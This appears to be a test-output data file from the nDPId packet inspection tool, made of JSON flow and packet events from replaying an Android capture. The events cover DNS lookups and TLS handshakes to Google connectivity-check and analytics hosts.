+00430{"flow_id":29,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":468175,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0A3lAAEAGs2\/AqAIQrNkUSs0GAbvbqzgp1o6Y2YAQAW0VygAAAQEICv\/\/NDi9hJfu"} +00429{"flow_id":29,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":468291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0A3pAAEAGs27AqAIQrNkUSs0GAbvbqzgp1o6ZdYAQAW0VLgAAAQEICv\/\/NDi9hJfu"} +00480{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":503086,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"TGr2n\/YnxiwDYGpkCABFAABbmZAAAEARW6DAqAIBwKgCEAA1t+kAR93wnJ6BgAABAAEAAAAAEWNvbm5lY3Rpdml0eWNoZWNrB2dzdGF0aWMDY29tAAABAAHADAABAAEAAACxAASs2RID"} +00688{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":135,"source":"android.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":2,"flow_first_seen":1582454868462,"flow_last_seen":1582454868503,"flow_tot_l4_data_len":126,"flow_min_l4_data_len":55,"flow_max_l4_data_len":71,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":47081,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"ConnectivityCheck"},"dns": {"query":"connectivitycheck.gstatic.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.18.3"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":136,"source":"android.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1582454868511,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.18.3","src_port":36888,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":511574,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8PG9AAEAGfLjAqAIQrNkSA5AYAbuCdQgsAAAAAKAC\/\/91sgAAAgQFtAQCCAr\/\/zRDAAAAAAEDAwg="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"android.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1582454868527,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.18.3","src_port":36890,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":527203,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8stVAAEAGBlLAqAIQrNkSA5AaAbtdpoaTAAAAAKAC\/\/8cFQAAAgQFtAQCCAr\/\/zRGAAAAAAEDAwg="} +00441{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":559889,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8mn0AAHYGKKqs2RIDwKgCEAG7kBpu4mZiXaaGlKAS6yC\/LgAAAgQFZAQCCApPRk15\/\/80RgEDAwg="} +00428{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":563343,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0stZAAEAGBlnAqAIQrNkSA5AaAbtdpoaUbuJmY4AQAVfXbAAAAQEICv\/\/NE9PRk15"} +00692{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":563401,"pkt_caplen":261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":261,"pkt_l4_len":227,"pkt":"xiwDYGpkTGr2n\/YnCABFAAD3stdAAEAGBZXAqAIQrNkSA5AaAbtdpoaUbuJmY4AYAVcAOwAAAQEICv\/\/NFBPRk15FgMBAL4BAAC6AwOZySzIWyWPFv9jpx+5YWNqQg+xq9GVJmpUnw7vrnZc6QAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAAB1\/wEAAQAAAAAiACAAAB1jb25uZWN0aXZpdHljaGVjay5nc3RhdGljLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABAACwAJCGh0dHAvMS4xAAsAAgEAAAoACAAGAB0AFwAY"} +00748{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":140,"source":"android.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":4,"flow_first_seen":1582454868527,"flow_last_seen":1582454868563,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":32,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.18.3","src_port":36890,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"ConnectivityCheck"},"tls": {"version":"TLSv1.2","client_requested_server_name":"connectivitycheck.gstatic.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00428{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":595991,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0mn4AAHYGKLGs2RIDwKgCEAG7kBpu4mZjXaaHV4AQAPDW6gAAAQEICk9GTZ7\/\/zRQ"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":142,"source":"android.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1582454868597,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":51430,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":597303,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBqkFAAEARCwnAqAIQwKgCAcjmADUALYwU2tsBAAABAAAAAAAAD2FwcC1tZWFzdXJlbWVudANjb20AAAEAAQ=="} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":142,"source":"android.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1582454868597,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":51430,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"app-measurement.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":597743,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRZjUAAEARjwXAqAIBwKgCEAA1yOYAPQ9d2tuBgAABAAEAAAAAD2FwcC1tZWFzdXJlbWVudANjb20AAAEAAcAMAAEAAQAAAEEABKzZqM4="} +00667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":143,"source":"android.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":2,"flow_first_seen":1582454868597,"flow_last_seen":1582454868597,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":51430,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"app-measurement.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.168.206"}} +02329{"flow_id":32,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":603874,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+moIAAHYGIyOs2RIDwKgCEAG7kBpu4mZjXaaHV4AQAPAi0QAAAQEICk9GTaX\/\/zRQFgMDAE4CAABKAwNeUlhUQJRQ5SuiF2G7xnJZiVxojJOS3exET1dOR1JEAQDAKwAAIgAXAAD\/AQABAAALAAIBAAAjAAAAEAALAAkIaHR0cC8xLjEWAwMNowsADZ8ADZwACUgwgglEMIIILKADAgECAhEA7t5lYM01wK8CAAAAAFlxtzANBgkqhkiG9w0BAQsFADBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMB4XDTIwMDIxMjExNDcxMVoXDTIwMDUwNjExNDcxMVowZjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1vdW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBMTEMxFTATBgNVBAMMDCouZ29vZ2xlLmNvbTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABMqMT0i7BQw1shsKaI5LVdYjbI8UtqdK0sgAO6ZqOc+YesQP7j9s8prcdd5wziE9Ucvw6CrBVha95mxLo50X0+qjggbaMIIG1jAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH\/BAIwADAdBgNVHQ4EFgQUJG03UAoCuTPcqUYyl+EtiRo8WRgwHwYDVR0jBBgwFoAUmNH4bhDrz5vsYJ8YkBug630J\/SswZAYIKwYBBQUHAQEEWDBWMCcGCCsGAQUFBzABhhtodHRwOi8vb2NzcC5wa2kuZ29vZy9ndHMxbzEwKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZy9nc3IyL0dUUzFPMS5jcnQwggSdBgNVHREEggSUMIIEkIIMKi5nb29nbGUuY29tgg0qLmFuZHJvaWQuY29tghYqLmFwcGVuZ2luZS5nb29nbGUuY29tghIqLmNsb3VkLmdvb2dsZS5jb22CGCouY3Jvd2Rzb3VyY2UuZ29vZ2xlLmNvbYIGKi5nLmNvgg4qLmdjcC5ndnQyLmNvbYIRKi5nY3BjZG4uZ3Z0MS5jb22CCiouZ2dwaHQuY26CDiouZ2tlY25hcHBzLmNughYqLmdvb2dsZS1hbmFseXRpY3MuY29tggsqLmdvb2dsZS5jYYILKi5nb29nbGUuY2yCDiouZ29vZ2xlLmNvLmlugg4qLmdvb2dsZS5jby5qcIIOKi5nb29nbGUuY28udWuCDyouZ29vZ2xlLmNvbS5hcoIPKi5nb29nbGUuY29tLmF1gg8qLmdvb2dsZS5jb20uYnKCDyouZ29vZ2xlLmNvbS5jb4IPKi5nb29nbGUuY29tLm14gg8qLmdvb2dsZS5jb20udHKCDyouZ29vZ2xlLmNvbS52boILKi5nb29nbGUuZGWCCyouZ29vZ2xlLmVzggsqLmdvb2dsZS5mcoILKi5nb29nbGUuaHWCCyouZ29vZ2xlLml0ggsqLmdvb2dsZS5ubIILKi5nb29nbGUucGyCCyouZ29vZ2xlLnB0ghIqLmdvb2dsZWFkYXBpcy5jb22CDyouZ29vZ2xlYXBpcy5jboIRKi5nb29nbGVjbmFwcHMuY26CFCouZ29vZ2xlY29tbWVyY2UuY29tghEqLmdvb2dsZXZpZGVvLmNvbYIMKi5nc3RhdGljLmNugg0qLmdzdGF0aWMuY29tghIqLmdzdGF0aWNjbmFwcHMuY26CCiouZ3Z0MS5jb22CCiouZ3Z0Mi5jb22CFCoubWV0cmljLmdzdGF0aWMuY29tggwqLnVyY2hpbi5jb22CECoudXJsLmdvb2dsZS5jb22CEyoud2Vhci5na2VjbmFwcHMuY24="} +00807{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":144,"source":"android.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":6,"flow_first_seen":1582454868527,"flow_last_seen":1582454868603,"flow_tot_l4_data_len":1821,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":303,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.18.3","src_port":36890,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"ConnectivityCheck"},"tls": {"version":"TLSv1.2","client_requested_server_name":"connectivitycheck.gstatic.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"eca9b8f0f3eae50309eaf901cb822d9b","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +02336{"flow_id":32,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":603905,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+moMAAHYGIyKs2RIDwKgCEAG7kBpu4mvtXaaHV4AQAPA4hgAAAQEICk9GTaX\/\/zRQghYqLnlvdXR1YmUtbm9jb29raWUuY29tgg0qLnlvdXR1YmUuY29tghYqLnlvdXR1YmVlZHVjYXRpb24uY29tghEqLnlvdXR1YmVraWRzLmNvbYIHKi55dC5iZYILKi55dGltZy5jb22CGmFuZHJvaWQuY2xpZW50cy5nb29nbGUuY29tggthbmRyb2lkLmNvbYIbZGV2ZWxvcGVyLmFuZHJvaWQuZ29vZ2xlLmNughxkZXZlbG9wZXJzLmFuZHJvaWQuZ29vZ2xlLmNuggRnLmNvgghnZ3BodC5jboIMZ2tlY25hcHBzLmNuggZnb28uZ2yCFGdvb2dsZS1hbmFseXRpY3MuY29tggpnb29nbGUuY29tgg9nb29nbGVjbmFwcHMuY26CEmdvb2dsZWNvbW1lcmNlLmNvbYIYc291cmNlLmFuZHJvaWQuZ29vZ2xlLmNuggp1cmNoaW4uY29tggp3d3cuZ29vLmdsggh5b3V0dS5iZYILeW91dHViZS5jb22CFHlvdXR1YmVlZHVjYXRpb24uY29tgg95b3V0dWJla2lkcy5jb22CBXl0LmJlMCEGA1UdIAQaMBgwCAYGZ4EMAQICMAwGCisGAQQB1nkCBQMwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL2NybC5wa2kuZ29vZy9HVFMxTzEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHUAsh4FzIuizYogTodm+Su5iiUgZ2va+nDnsklTLe+LkF4AAAFwOXBpZwAABAMARjBEAiA+QN+Y1BC1iTg87rmcpsUM\/Gu24qPQtScwEkDt1exEhAIgQZ65pwiFU6WtL7WIBUDRTSLLJtQzSUb9E8H\/e+H3kv8AdwBep3P531bA57U2SH3QSeAyepGaDIShEhKEGHWWgXFFWAAAAXA5cGl4AAAEAwBIMEYCIQD9qpknf9RA9NTnDbJ1R740ilIoZ5axO70RNKA2ozIpDQIhAI1NyadJ74gUNJMOwgVolIAXXkoTlllaI+RlhpKJXQelMA0GCSqGSIb3DQEBCwUAA4IBAQB\/1D1o4bHjhENzzSVqw\/WiW7R1Yg4kZjli4Jx+LL27l0iKIq5Je3M7N9seKeytHKln9LJWcZKJU0ZbTMAspum0myuT9TCRUzlQySsFdd3w5wh0ORzaaMxfdFZXbP5bVcGkuC\/FdoNgnFFjfdJlif8ZWazQdGNT68dXSNYBrSWcZvTi6UHviVzyKRNF8NXQPkmfEGnd4JAhXr\/bNfKhYp\/n8vsemQpmKWuA2eO+1W3C8iCVQ2JaQUSEkOquDseMqEKLRl+Rqg9HWNZpZ7CJfxVEk9f8L9nc9fqQrRM3CB6E4nNwbo7jkwdkw9vcyse48vXjWRg69iSIEEw4VHtES7QNAAROMIIESjCCAzKgAwIBAgINAeO0mqGNiqmBJWlQuDANBgkqhkiG9w0BAQsFADBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjAeFw0xNzA2MTUwMDAwNDJaFw0yMTEyMTUwMDAwNDJaMEIxCzAJBgNVBAYTAlVTMR4wHAYDVQQKExVHb29nbGUgVHJ1c3QgU2VydmljZXMxEzARBgNVBAMTCkdUUyBDQSAxTzEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQGM9F1IvN05zkQO9+tN1pIRvJzzyOTHW5DzEZhD2ePCnvUA0Qk28FgICfKqC9EksC4T2fWBYk\/jCfC3R3VZMdS\/dN4ZKCEPZRrAzDsiKUDzRrmBBJ5wudgzndIMYcLe\/RGGFl5yODIKg="} +01608{"flow_id":32,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":603921,"pkt_caplen":938,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":938,"pkt_l4_len":904,"pkt":"TGr2n\/YnxiwDYGpkCABFAAOcmoQAAHYGJUOs2RIDwKgCEAG7kBpu4nF3XaaHV4AYAPC2NQAAAQEICk9GTaX\/\/zRQIxL\/0iR\/1C\/nRGpbTddQZrCvnkJjBfvgHMRjYa+fajP\/Ype9SNnTfBRn3HXcLmno+G14adC3EAW48THCOyT9GjN0+CPg7GsZihbG482kzQvbs6RZYDiIO60ducaMp1Mb\/LzZpKu83Txh15MVmO6BvY\/iZEcgQAZO16yX6LnAWRKhSSUj5O1wNCyltGN8+aM9g9HNbSSsBwIDAQABo4IBMzCCAS8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdDgQWBBSY0fhuEOvPm+xgnxiQG6DrfQn9KzAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnBraS5nb29nL2dzcjIwMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5wa2kuZ29vZy9nc3IyL2dzcjIuY3JsMD8GA1UdIAQ4MDYwNAYGZ4EMAQICMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vcGtpLmdvb2cvcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBABqAPjZ5+\/MuqUY3fV5UFjWux04Imf690TRpJlJmBz0KuknLYvTxGo78EU9olkx0K9Nn3rKjqgWNhE1MIGUPpZbaDRb4bDvbbwQjiGs6bMFgvWifcY7uLVg0B\/DVVOmGWf17Xg0hlPWMyaj42PKtzA8a85qnqQQn+aPJsP8CeGthusc1K+hW+k\/DHAzttjy0S+rtzOE87NwNjNY+m8pCWIvMFiEXQLyi1mbv2sQVW82JqpsJJucy0g1uZyACWxCwkAmcDB+erdg76qH8bOgQXAhSGVEqcbuserXdFe0ryQgqLIq0piGrY\/\/XUklQ0Im3rfKv+1CuL+GVDfNGrZ2c9coWAwMAcwwAAG8DAB0gSrU5ywnvnkB7dZHgM0sLsZmnlRz1E8V2FCDzK2mLyDMEAwBHMEUCIQCPeNWXClhlpfwwmkAkeAjuRggqxb0S1CUaJEKYc87xtgIgR21phmoPwqRwHIAuDCtSt6vUsRiSJcTnj77tX2jgzCoWAwMABA4AAAA="} +02136{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":146,"source":"android.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":8,"flow_first_seen":1582454868527,"flow_last_seen":1582454868603,"flow_tot_l4_data_len":4175,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":521,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.18.3","src_port":36890,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"ConnectivityCheck"},"tls": {"version":"TLSv1.2","client_requested_server_name":"connectivitycheck.gstatic.com","server_names":"*.google.com,*.android.com,*.appengine.google.com,*.cloud.google.com,*.crowdsource.google.com,*.g.co,*.gcp.gvt2.com,*.gcpcdn.gvt1.com,*.ggpht.cn,*.gkecnapps.cn,*.google-analytics.com,*.google.ca,*.google.cl,*.google.co.in,*.google.co.jp,*.google.co.uk,*.google.com.ar,*.google.com.au,*.google.com.br,*.google.com.co,*.google.com.mx,*.google.com.tr,*.google.com.vn,*.google.de,*.google.es,*.google.fr,*.google.hu,*.google.it,*.google.nl,*.google.pl,*.google.pt,*.googleadapis.com,*.googleapis.cn,*.googlecnapps.cn,*.googlecommerce.com,*.googlevideo.com,*.gstatic.cn,*.gstatic.com,*.gstaticcnapps.cn,*.gvt1.com,*.gvt2.com,*.metric.gstatic.com,*.urchin.com,*.url.google.com,*.wear.gkecnapps.cn,*.youtube-nocookie.com,*.youtube.com,*.youtubeeducation.com,*.youtubekids.com,*.yt.be,*.ytimg.com,android.clients.google.com,android.com,developer.android.google.cn,developers.android.google.cn,g.co,ggpht.cn,gkecnapps.cn,goo.gl,google-analytics.com,google.com,googlecnapps.cn,googlecommerce.com,source.android.google.cn,urchin.com,www.goo.gl,youtu.be,youtube.com,youtubeeducation.com,youtubekids.com,yt.be","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"eca9b8f0f3eae50309eaf901cb822d9b","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=*.google.com","alpn":"http\/1.1","fingerprint":"80:50:28:F4:84:F5:C4:C6:41:DE:75:67:38:C4:A6:E2:59:FF:75:42"}} +00428{"flow_id":32,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":606586,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0sthAAEAGBlfAqAIQrNkSA5AaAbtdpodXbuJr7YAQAWLQ3QAAAQEICv\/\/NFpPRk2l"} +00429{"flow_id":32,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":606703,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0stlAAEAGBlbAqAIQrNkSA5AaAbtdpodXbuJxd4AQAW3LSAAAAQEICv\/\/NFpPRk2l"} +00429{"flow_id":32,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":606711,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0stpAAEAGBlXAqAIQrNkSA5AaAbtdpodXbuJ034AQAXjH1QAAAQEICv\/\/NFpPRk2l"} +00497{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":606764,"pkt_caplen":114,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":114,"pkt_l4_len":60,"pkt":"MzMAAQACTGr2n\/Ynht1gBNipADwRAf6AAAAAAAAATmr2\/\/6f9if\/AgAAAAAAAAAAAAAAAQACAiICIwA8Uc8B2OT+AAEADgABAAEl5RSOTGr2n\/YnAAMADA4ACMoAAAAAAAAAAAAIAAIAAAAGAAQAFwAY"} +00440{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":151,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":843663,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8fo0AAHYGRJqs2RIDwKgCEAG7kBjGuYRJgnUILaAS6yAZNAAAAgQFZAQCCApRt9Th\/\/80QwEDAwg="} +00429{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":844578,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0PHBAAEAGfL\/AqAIQrNkSA5AYAbuCdQgtxrmESoAQAVcxKAAAAQEICv\/\/NJZRt9Th"} 